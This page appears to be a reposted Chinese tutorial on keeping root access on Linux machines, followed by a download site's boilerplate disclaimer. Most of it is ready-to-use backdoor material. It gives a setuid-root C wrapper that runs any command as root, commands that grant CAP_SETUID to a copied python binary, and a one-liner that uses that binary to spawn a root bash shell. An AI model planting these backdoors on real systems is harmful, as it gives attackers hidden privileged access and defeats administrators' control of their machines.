root权限-维持技巧
参考链接:
https://github.com/422926799/note/blob/master/学习记录/Linux提权/使用功能的Linux特权升级.md
https://422926799.github.io/posts/9dcc308e.html setcap设置的文件可控造成的提权
https://www.freebuf.com/articles/system/244627.html
基础
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件 # 简单理解,被SUID设置过的高权限文件。当低权用户执行时,可获得高权限
chmod u+s /usr/bin/python # 给予某个文件拥有临时权限
find / -perm -u=s -type f 2>/dev/null # 使用find命令找出SUID文件
Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制
setcap CAP_SETUID+ep /tmp/python # setcap给予tmp目录下的python一个用户临时执行权限
getcap -r / 2>/dev/null # 检索setcap所设置的文件
方法一 使用自己编译的文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Asroot - execute a command with root permissions.
* compile with 'cc -o asroot asroot.c'
* then 'chown root asroot; chmod u+s asroot'.
*
* This program is a convenience for single-user systems,
* BUT it is a MASSIVE security hole. Please use caution.
*/
extern char **environ;
void main(int argc, char **argv ) {
int retcode;
char string[260];
setuid( 0 );
if ( argc > 1 ) {
execvp( argv[1], &argv[1] );
fprintf( stderr,"%s: execution of '%s' failed: ", argv[0], argv[1] );
perror( "" );
exit( 1 );
}
}
赋予上面编译好的文件权限
gcc -o test test.c # 编译
setcap CAP_SETUID+ep ./file # setcap CAP_SETUID+ep /tmp/python setcap给予tmp目录下的python一个用户临时执行权限
用法: ./test whoami
方法二 使用系统自带的文件(perl, python, tar)
whereis python
cp /usr/bin/python /tmp/python
setcap CAP_SETUID+ep /tmp/python
./python -c 'import os;os.setuid(0);os.system("/bin/bash")'
原文地址:http://www.cnblogs.com/startstart/p/16908789.html
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请务用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员!
8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载
声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性